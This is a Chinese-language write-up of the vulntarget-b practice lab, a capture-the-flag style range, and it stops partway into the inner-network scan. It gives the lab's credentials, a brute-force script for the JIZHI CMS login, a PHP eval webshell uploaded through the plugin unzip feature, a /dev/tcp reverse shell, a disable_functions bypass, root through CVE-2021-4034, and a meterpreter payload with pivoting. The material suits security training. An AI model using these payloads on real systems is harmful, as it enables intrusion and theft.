vulntarget-b
简介
vulntarget 漏洞靶场系列(二)— vulntarget-b
靶场的网络拓扑

需要在虚拟网络编辑器中,定义两个虚拟网络
VMnet18 Host-only: 10.0.20.0/24
VMnet19 Host-only: 10.0.10.0/24
centos 这台虚拟机作为入口机,默认的网卡包含一张桥接模式的虚拟网卡,可以视实际情况进行修改
直接导入 3 个虚拟机即可,公众号写的是设计靶场的过程
建议按照 server2016 -> win10-> centos 的顺序进行启动虚拟机
win10 这台靶机带有自动睡眠,需要注意
server2016 域控
- Domain: vulntarget.com
- Domain Username: administrator
- Domain Password: Admin@123
- Domain Username: win101
- Domain Password: admin#123
win10 域成员
- Local Username: win10
- Local Password: win10#123
- Local Administrator: administrator
- Local Admin-Password: admin@123
- Domain Username: vulntarget\win101
- Domain Password: admin#123
- Web-Pannel Username: admin
- Web-Pannel Password: Admin123
centos 入口机
- root/root
- vulntarget/root
server2016 域控 使用原有密码登陆的时候,会触发强制密码更改规则
我这边改为 zxc@123zxc
centos 虚拟机修复
因为我自己将网卡桥接改为 NAT 网卡,导致 centos 这台虚拟机的网络失效,需要进入系统手动修复网络
使用 root/root 登陆系统
nmcli connection show
ip address

可以看到,是 ens33 这个网卡的配置存在问题
nmcli connection show ens33
直接删除旧的配置文件
nmcli device status
nmcli connection delete ens33
写一个新的配置
nmcli connection add con-name ens33 \
type ethernet \
ifname ens33 \
ipv4.method auto

就可以正常进行攻击了
centos 侦察
直接使用 fscan 进行端口扫描
start infoscan
192.168.200.12:22 open
192.168.200.12:21 open
192.168.200.12:81 open
192.168.200.12:3306 open
192.168.200.12:80 open
192.168.200.12:888 open
192.168.200.12:8888 open
[*] alive ports len is: 7
start vulscan
[*] WebTitle http://192.168.200.12:8888 code:302 len:219 title:Redirecting... 跳转 url: http://192.168.200.12:8888/login
[*] WebTitle http://192.168.200.12 code:200 len:1326 title: 没有找到站点
[*] WebTitle http://192.168.200.12:888 code:403 len:548 title:403 Forbidden
[*] WebTitle http://192.168.200.12:8888/login code:200 len:802 title: 安全入口校验失败
[*] WebTitle http://192.168.200.12:81 code:200 len:14404 title: 极致 CMS 建站系统
[+] SSH 192.168.200.12:22:root root
已完成 7/7
[*] 扫描结束, 耗时: 12.949238938s
可以发现 3 个 HTTP 服务,先尝试目录扫描,得到以下有效结果
[20:57:21] 308 - 287B - /%2e%2e//google.com -> http://192.168.200.12:8888/../google.com
[20:58:13] 401 - 338B - /api/swagger/static/index.html
[20:58:20] 308 - 307B - /axis2-web//HappyAxis.jsp -> http://192.168.200.12:8888/axis2-web/HappyAxis.jsp
[20:58:20] 308 - 297B - /axis//happyaxis.jsp -> http://192.168.200.12:8888/axis/happyaxis.jsp
[20:58:20] 308 - 319B - /axis2//axis2-web/HappyAxis.jsp -> http://192.168.200.12:8888/axis2/axis2-web/HappyAxis.jsp
[20:58:22] 401 - 338B - /base/static/c
[20:58:30] 308 - 363B - /Citrix//AccessPlatform/auth/clientscripts/cookies.js -> http://192.168.200.12:8888/Citrix/AccessPlatform/auth/clientscripts/cookies.js
[20:58:33] 401 - 338B - /code
[20:58:55] 308 - 313B - /extjs/resources//charts.swf -> http://192.168.200.12:8888/extjs/resources/charts.swf
[20:58:55] 200 - 4KB - /favicon.ico
[20:59:20] 200 - 595B - /login
[20:59:58] 403 - 234B - /public
[21:00:04] 200 - 26B - /robots.txt
[21:00:19] 401 - 338B - /static/api/swagger.json
[21:00:19] 401 - 338B - /static/api/swagger.yaml
[21:00:19] 401 - 338B - /static/dump.sql
[21:00:27] 200 - 43KB - /tips
[21:00:39] 401 - 338B - /web/static/c
[20:57:56] 200 - 479B - /404.html
[20:57:59] 301 - 162B - /A -> http://192.168.200.12:81/A/
[20:58:06] 302 - 0B - /admin.php -> http://192.168.200.12:81/admin.php/Login/index.html
[20:58:39] 301 - 162B - /backup -> http://192.168.200.12:81/backup/
[20:58:39] 403 - 548B - /backup/
[20:58:45] 301 - 162B - /cache -> http://192.168.200.12:81/cache/
[20:58:45] 403 - 548B - /cache/
[20:59:11] 200 - 4KB - /favicon.ico
[20:59:24] 200 - 14KB - /index.php
[20:59:25] 200 - 917B - /index.html
[20:59:25] 200 - 0B - /index.php/login/
[20:59:26] 301 - 162B - /install -> http://192.168.200.12:81/install/
[20:59:26] 200 - 75B - /install/
[20:59:26] 200 - 75B - /install/index.php?upgrade/
[21:00:13] 403 - 548B - /Public/
[21:00:16] 200 - 22KB - /readme.txt
[21:00:18] 200 - 157B - /robots.txt
[21:00:26] 200 - 495B - /sitemap.xml
[21:00:30] 301 - 162B - /static -> http://192.168.200.12:81/static/
[21:00:47] 200 - 816B - /web.config
同时,直接访问 http://192.168.200.12:8888 可以看到

很明显是宝塔面板的管理入口
Web 192.168.200.12:81 侦察
后台登陆界面位于 http://192.168.200.12:81/admin.php/Login/index.html
尝试抓包进行重放,发现验证码是可以固定不变的

尝试使用用户名 admin 进行密码爆破
import requests
reqUrl = "http://192.168.200.12:81/admin.php/Login/index.html"
headersList = {
"Accept": "*/*",
"Cookie": "6bd36d3c4ffe7b8102c6b8e9787ec68b=b942a957-01b3-4b3d-b523-6a33430f1881.FgZCvCwFC_6Q9s5kTqizFq8f58A; PHPSESSID=bb3jftijfat5cr4vckgffneoap",
"Content-Type": "application/x-www-form-urlencoded",
}
payload = "cache=0.02202580841627977&username=admin&password={PASS}&vercode=865f"
flag_failed = r'{"code":1,"msg":"\u8d26\u6237\u5bc6\u7801\u9519\u8bef\uff01"}'
with open("./top1000.txt", "r") as f:
for i in f.read().strip().split("\n"):
print(i)
response = requests.request("POST", reqUrl, data=payload.format(PASS=i), headers=headersList)
if response.text != flag_failed:
print("*" * 10)
print(i)
exit()
得到用户密码为 admin123
成功登录后台

centos 极致 CMS 文件上传构建 webshell
根据指纹信息 极致 CMS 定位到以下漏洞信息
[代码审计] 极致 CMS1.9.5 存在文件上传漏洞_极致 cms 建站系统 漏洞 - CSDN 博客
构造恶意的 zip 文件
$ cat shell.php
<?php @eval($_POST['shell']) ?>
$ zip -9 shell.zip shell.php
adding: shell.php (stored 0%)
未知原因,导致我环境的在线插件无法正常工作,直接手动触发下载功能
POST /admin.php/Plugins/update.html HTTP/1.1
Host: 192.168.200.12:81
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.200.12:81/admin.php/Index/index.html
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=m4al43lu13klt51giool3jnt64
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 102
action=start-download&filepath=dbrestor&download_url=http%3A%2F%2F192.168.200.129%3A8080%2Fshell%2Ezip

文件成功下载之后,查看文件体积
POST /admin.php/Plugins/update.html HTTP/1.1
Host: 192.168.200.12:81
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.200.12:81/admin.php/Index/index.html
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=m4al43lu13klt51giool3jnt64
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 101
action=get-file-size&filepath=dbrestor&download_url=http%3A%2F%2F192.168.200.129%3A8080%2Fshell%2Ezip

触发解压
POST /admin.php/Plugins/update.html HTTP/1.1
Host: 192.168.200.12:81
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.200.12:81/admin.php/Index/index.html
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=m4al43lu13klt51giool3jnt64
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 111
action=file-upzip&filepath=dbrestor&download_url=http%3A%2F%2F192.168.200.129%3A8080%2Fshell%2Ezip&filesize=200

尝试访问上传的 webshell 文件

成功连接
centos webshell 绕过 disable_functions
使用插件查看 disable_functions

直接执行 Bypass disable_functions
首先,写入一个 /www/wwwroot/jizhi/shell.sh
/bin/sh -i >& /dev/tcp/192.168.200.129/3000 0>&1
然后使用插件的 PHP7 GC with Certain Destructors UAF 打开虚拟终端,执行脚本
(www:/www/wwwroot/jizhi) $ chmod +x shell.sh
(www:/www/wwwroot/jizhi) $ ./shell.sh

即可得到 centos 的 www 用户的终端
centos 提权至 root
进行一个基础探测
(remote) www@localhost.localdomain:/tmp$ getcap -r / 2>/dev/null
/usr/bin/newgidmap = cap_setgid+ep
/usr/bin/newuidmap = cap_setuid+ep
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
(remote) www@localhost.localdomain:/tmp$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/fusermount
/usr/bin/chfn
/usr/bin/chage
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/su
/usr/bin/sudo
/usr/bin/umount
/usr/bin/crontab
/usr/bin/pkexec
/usr/bin/passwd
/usr/sbin/unix_chkpwd
/usr/sbin/pam_timestamp_check
/usr/sbin/usernetctl
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/libexec/dbus-1/dbus-daemon-launch-helper
使用 PEASS-ng 进行自动化探测
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
strace Not Found
-rwsr-xr-x. 1 root root 32K Oct 31 2018 /usr/bin/fusermount
-rws--x--x. 1 root root 24K Feb 3 2021 /usr/bin/chfn ---> SuSE_9.3/10
-rwsr-xr-x. 1 root root 73K Aug 9 2019 /usr/bin/chage
-rws--x--x. 1 root root 24K Feb 3 2021 /usr/bin/chsh
-rwsr-xr-x. 1 root root 77K Aug 9 2019 /usr/bin/gpasswd
-rwsr-xr-x. 1 root root 41K Aug 9 2019 /usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x. 1 root root 44K Feb 3 2021 /usr/bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x. 1 root root 32K Feb 3 2021 /usr/bin/su
---s--x--x. 1 root root 144K Oct 1 2020 /usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x. 1 root root 32K Feb 3 2021 /usr/bin/umount ---> BSD/Linux(08-1996)
-rwsr-xr-x. 1 root root 57K Aug 9 2019 /usr/bin/crontab
-rwsr-xr-x. 1 root root 24K Apr 1 2020 /usr/bin/pkexec ---> Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)
-rwsr-xr-x. 1 root root 28K Apr 1 2020 /usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x. 1 root root 36K Apr 1 2020 /usr/sbin/unix_chkpwd
-rwsr-xr-x. 1 root root 11K Apr 1 2020 /usr/sbin/pam_timestamp_check
-rwsr-xr-x. 1 root root 12K Oct 13 2020 /usr/sbin/usernetctl
-rwsr-xr-x. 1 root root 16K Apr 1 2020 /usr/lib/polkit-1/polkit-agent-helper-1
-rwsr-x---. 1 root dbus 57K Sep 30 2020 /usr/libexec/dbus-1/dbus-daemon-launch-helper
并查看 sudo 二进制程序的版本
(remote) www@localhost.localdomain:/tmp$ sudo --version
Sudo version 1.8.23
Sudoers policy plugin version 1.8.23
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.23
说明存在有以下漏洞
cve-2021-3156 -> sudo
CVE-2021-4034 -> pkexec
理论上两个洞都能打,这里只尝试 CVE-2021-4034
(remote) www@localhost.localdomain:/tmp$ gcc cve-2021-4034-poc.c
(remote) www@localhost.localdomain:/tmp$ ./a.out
sh-4.2# whoami
root
sh-4.2# cat /root/flag
vulntarget{get-one-centos-privilage-promotion}
centos 上线 Metasploit 持久化
首先,先生成一份 Metasploit 的马子
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.200.129 LPORT=3333 -f elf > 192.168.200.129-3333.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
使用 CVE-2021-4034 漏洞,以 root 权限执行马子,上线 Msfconsole
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf6 exploit(multi/handler) > set LPORT 3333
LPORT => 3333
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 0.0.0.0:3333
[*] Sending stage (3045380 bytes) to 192.168.200.12
[*] Meterpreter session 1 opened (192.168.200.129:3333 -> 192.168.200.12:45328) at 2024-11-02 09:24:15 +0800
meterpreter > sysinfo
Computer : localhost.localdomain
OS : CentOS 7.9.2009 (Linux 3.10.0-1160.el7.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
搭建内网代理
直接使用 Meterpreter 建立内网代理
meterpreter > run post/multi/manage/autoroute
[*] Running module against localhost.localdomain
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.0.20.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 192.168.200.0/255.255.255.0 from host's routing table.
然后启动 socks 服务器
msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > exploit
[*] Auxiliary module running as background job 0.
msf6 auxiliary(server/socks_proxy) >
[*] Starting the SOCKS proxy server
设置好 proxychains 配置之后,就可以进行内网扫描
一层内网探测
查看网卡信息
meterpreter > ifconfig
Interface 1
============
Name : lo
Hardware MAC : 00:00:00:00:00:00
MTU : 65536
Flags : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::
Interface 2
============
Name : ens33
Hardware MAC : 00:0c:29:0c:a4:53
MTU : 1500
Flags : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.200.12
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::6fd2:b978:2811:56fc
IPv6 Netmask : ffff:ffff:ffff:ffff::
Interface 3
============
Name : ens37
Hardware MAC : 00:0c:29:0c:a4:5d
MTU : 1500
Flags : UP,BROADCAST,MULTICAST
IPv4 Address : 10.0.20.30
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::1162:e042:35a0:5cd0
IPv6 Netmask : ffff:ffff:ffff:ffff::
发现一层内网 10.0.20.0/24
查看 ARP 表
meterpreter > arp
ARP cache
=========
IP address MAC address Interface
---------- ----------- ---------
10.0.20.66 00:0c:29:52:20:46 ens37
10.0.20.254 00:50:56:f9:de:dc ens37
192.168.200.129 00:0c:29:07:06:1a ens33
发现另外一台主机 10.0.20.66 的存在,上传 fscan 并执行扫描
start infoscan
10.0.20.66:8080 open
10.0.20.66:3306 open
[*] alive ports len is: 2
start vulscan
已完成 2/2
[*] 扫描结束, 耗时: 15.784022066s